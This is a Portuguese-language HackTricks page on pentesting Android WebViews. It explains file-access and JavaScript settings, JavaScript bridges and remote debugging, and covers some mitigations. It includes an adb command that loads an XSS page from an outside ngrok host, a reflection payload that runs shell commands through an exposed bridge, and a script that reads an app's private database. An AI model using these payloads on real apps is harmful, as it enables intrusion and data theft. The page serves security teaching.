hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

207 lines
15 KiB
Markdown
Raw Normal View History

# Ataques a Webview
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Configurações Interessantes
Você pode identificar um WebView exposto assim:
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
### Acesso a Arquivos
O acesso a arquivos no _WebView_ é habilitado por padrão. Desde a API 3 (Cupcake 1.5), o método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponível para habilitar ou desabilitar explicitamente.\
Se o aplicativo tem a permissão \_**android.permission.READ\_EXTERNAL\_STORAGE** \_, ele poderá ler e carregar arquivos **do armazenamento externo**.\
O _WebView_ precisa usar um Esquema de URL de Arquivo, por exemplo, `file://path/file`, para acessar o arquivo.
#### Acesso Universal a Partir de URL de Arquivo (Obsoleto)
> Define se **solicitações cross-origin** no **contexto de uma URL de esquema de arquivo** devem ser permitidas para acessar **conteúdo de qualquer origem**. Isso inclui **acesso a conteúdo de outras URLs de esquema de arquivo ou contextos web.** Note que alguns acessos, como elementos de imagem HTML, não seguem as regras de mesma origem e não são afetados por essa configuração.
2021-05-29 13:27:23 +00:00
>
> **Não** habilite essa configuração se você abrir arquivos que podem ser criados ou alterados por fontes externas. Habilitar essa configuração **permite que scripts maliciosos carregados em um contexto `file://`** lancem ataques de cross-site scripting, acessando **arquivos locais arbitrários** incluindo cookies do WebView, dados privados do app ou mesmo credenciais usadas em sites arbitrários.
Em resumo, isso vai **prevenir o carregamento de Origens arbitrárias.** O app enviará a solicitação de URL para carregar o conteúdo com **`Origin: file://`** se a resposta não permitir essa origem (**`Access-Control-Allow-Origin: file://`**), então o conteúdo não será carregado.\
O **valor padrão é `false`** ao direcionar para [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
* Use [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber se o JavaScript executando no contexto de uma URL de esquema de arquivo pode acessar conteúdo de qualquer origem (se UniversalAccessFromFileURL está habilitado).
2023-06-06 18:56:34 +00:00
* Use [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
2021-05-29 13:27:23 +00:00
2021-05-29 16:57:06 +00:00
{% hint style="info" %}
Usar **`loadDataWithBaseURL()`** com `null` como baseURL também **impedirá o carregamento de arquivos locais** mesmo se todas as configurações perigosas estiverem habilitadas.
2021-05-29 16:57:06 +00:00
{% endhint %}
#### Acesso a Arquivos a Partir de URLs de Arquivo (Obsoleto) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
2021-05-29 13:27:23 +00:00
> Define se solicitações cross-origin no contexto de uma URL de esquema de arquivo devem ser permitidas para acessar conteúdo de outras URLs de esquema de arquivo. Note que alguns acessos, como elementos de imagem HTML, não seguem as regras de mesma origem e não são afetados por essa configuração.
2021-05-29 13:27:23 +00:00
>
> **Não** habilite essa configuração se você abrir arquivos que podem ser criados ou alterados por fontes externas. Habilitar essa configuração permite que scripts maliciosos carregados em um contexto `file://` acessem arquivos locais arbitrários incluindo cookies do WebView e dados privados do app.
2021-05-29 13:27:23 +00:00
Em resumo, isso impede que o javascript acesse arquivos locais via protocolo `file://`.\
Note que **o valor dessa configuração é ignorado** se o valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) for `true`.\
O **valor padrão é `false`** ao direcionar para [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) e acima.
2021-05-29 13:27:23 +00:00
* Use [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber se o JavaScript está executando no contexto de uma URL de esquema de arquivo pode acessar conteúdo de outras URLs de esquema de arquivo.
2023-06-06 18:56:34 +00:00
* Use [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitar/desabilitar.
#### Acesso a Arquivos
2021-05-29 13:27:23 +00:00
> Habilita ou desabilita **acesso a arquivos dentro do WebView**. Note que isso habilita ou desabilita o acesso ao sistema de arquivos apenas. Ativos e recursos ainda são acessíveis usando file:///android_asset e file:///android_res.
2021-05-29 13:27:23 +00:00
Em resumo, se desabilitado, o WebView não será capaz de carregar um arquivo local com o protocolo `file://`.\
O **valor padrão é `false`** ao direcionar para [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) e acima.
2021-05-29 13:27:23 +00:00
2023-06-06 18:56:34 +00:00
* Use [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber se a configuração está habilitada.
* Use [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitar/desabilitar.
#### WebViewAssetLoader
2021-05-29 17:00:27 +00:00
> Classe auxiliar para carregar arquivos locais incluindo ativos estáticos do aplicativo e recursos usando URLs http(s):// dentro de uma classe [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Carregar arquivos locais usando URLs semelhantes à web em vez de `"file://"` é desejável, pois é compatível com a política de Mesma Origem.
2021-05-29 17:00:27 +00:00
Esta é a nova maneira recomendada de carregar arquivos locais. O objetivo é **acessar arquivos locais usando uma URL HTTP com o domínio**. Desta forma, o **CORS** pode ser **facilmente** mantido entre as **páginas web locais** e as **páginas web** que são baixadas do servidor web.
### Javascript Habilitado
WebViews têm Javascript **desabilitado por padrão**. O método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) pode habilitar ou desabilitar explicitamente.\
Note que webviews também podem suportar o **esquema `intent`** que permite ativar outras aplicações. Leia este [artigo para descobrir como ir de XSS para RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
2021-05-29 17:00:27 +00:00
Aqui está um exemplo de um WebView exposto vulnerável a XSS via o parâmetro "support_url" (que pode indicar a URL para carregar no webview):
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
É possível explorar essa vulnerabilidade a partir do adb com algo como:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
```
### Ponte Javascript
2021-05-29 16:28:54 +00:00
O Android oferece uma maneira do JavaScript executado em um WebView chamar e usar **funções nativas de um aplicativo Android** (anotadas com `@JavascriptInterface`) usando o método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Isso é conhecido como _WebView JavaScript bridge_ ou _ponte nativa_.
2021-05-29 16:28:54 +00:00
Observe que **quando você usa `addJavascriptInterface`, está concedendo explicitamente acesso ao objeto de Interface JavaScript registrado a todas as páginas carregadas naquele WebView**. Isso implica que, se o usuário navegar para fora do seu aplicativo ou domínio, todas as outras páginas externas também terão acesso a esses objetos de Interface JavaScript, o que pode representar um risco de segurança potencial se algum dado sensível estiver sendo exposto por essas interfaces.
2021-05-29 16:28:54 +00:00
> Aviso: Tenha extremo cuidado com aplicativos que visam versões do Android abaixo do Android 4.2 (nível de API 17), pois eles são [vulneráveis a uma falha](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) na implementação de `addJavascriptInterface`: um ataque que abusa da reflexão, o que leva à execução remota de código quando JavaScript malicioso é injetado em um WebView. Isso ocorreu porque todos os métodos de Object Java eram acessíveis por padrão (em vez de apenas aqueles anotados).
#### Análise Estática
2021-05-29 16:28:54 +00:00
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
2021-05-29 16:28:54 +00:00
}
```
```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
```markup
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
Com acesso ao código JavaScript, por exemplo, através de um **XSS** armazenado, ataque **MITM** ou um **site malicioso** que é carregado dentro do WebView, pode chamar diretamente os métodos Java expostos.
2021-05-29 16:28:54 +00:00
{% hint style="info" %}
Note que, no caso de tentar explorar essa vulnerabilidade via um **Redirecionamento Aberto para uma página web do atacante que acessa o Objeto Nativo do Android**. Se o acesso ao redirecionamento for feito via um **navegador móvel** e **não usando** o mesmo **WebView**, o **navegador não poderá acessar o objeto nativo do Android**.
2021-05-29 16:28:54 +00:00
{% endhint %}
Se `addJavascriptInterface` for necessário, considere o seguinte:
2021-05-29 16:28:54 +00:00
* **Apenas JavaScript fornecido** com o APK deve ser permitido usar as pontes, por exemplo, verificando a URL em cada método Java ponteado (via `WebView.getUrl`).
2023-06-06 18:56:34 +00:00
* **Nenhum JavaScript deve ser carregado de endpoints remotos**, por exemplo, mantendo a navegação da página dentro dos domínios do aplicativo e abrindo todos os outros domínios no navegador padrão (por exemplo, Chrome, Firefox).
* Se necessário por razões de legado (por exemplo, ter que suportar dispositivos mais antigos), **defina pelo menos o nível mínimo da API para 17** no arquivo de manifesto do aplicativo (`<uses-sdk android:minSdkVersion="17" />`).
2021-05-29 16:28:54 +00:00
### Ponte JavaScript para RCE via Reflexão
2021-05-29 16:28:54 +00:00
Como observado em [**esta pesquisa**](https://labs.withsecure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_confira para ideias em caso de obter RCE_), uma vez que você encontrou uma JavascriptBridge, pode ser possível obter **RCE** via **Reflexão** usando um payload como o seguinte:
2021-05-29 16:28:54 +00:00
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
2021-05-29 16:28:54 +00:00
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
No entanto, aplicações modernas podem usar a **`@JavascriptInterface` annotation** que indica ao JavascriptBridge que **somente** o método com essa anotação deve ser **exposto**.\
Nesse cenário, você não será capaz de abusar da Reflection para executar código arbitrário.
2021-05-29 16:28:54 +00:00
### Depuração Remota
A **depuração remota do WebView** permite acessar o webview com as **Ferramentas de Desenvolvedor do Chrome.**\
O **dispositivo** precisa estar **acessível** pelo PC (via USB, emulador local, rede local...) e executando o WebView depurável, então acesse **chrome://inspect/#devices**:
![](<../../.gitbook/assets/image (525).png>)
Selecione **inspect** e uma nova janela será aberta. Nesta janela, você pode **interagir com o conteúdo** do **WebView** e até fazer com que ele **execute código JS arbitrário** a partir da aba **console**:
![](<../../.gitbook/assets/image (526).png>)
Para habilitar a **Depuração Remota do WebView** você pode fazer algo como:
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
```
**Esta configuração aplica-se a todos os WebViews da aplicação.**
{% hint style="info" %}
**A depuração do WebView não é afetada pelo estado da flag `debuggable`** no manifesto da aplicação. Se deseja habilitar a depuração do WebView apenas quando `debuggable` for `true`, teste a flag em tempo de execução.
{% endhint %}
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}
```
## Cargas Úteis
### Exfiltrar arquivos arbitrários
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
2021-05-29 16:57:06 +00:00
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
## Referências
2021-05-29 16:57:06 +00:00
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
2021-05-29 16:57:06 +00:00
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
2022-04-28 16:01:33 +00:00
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>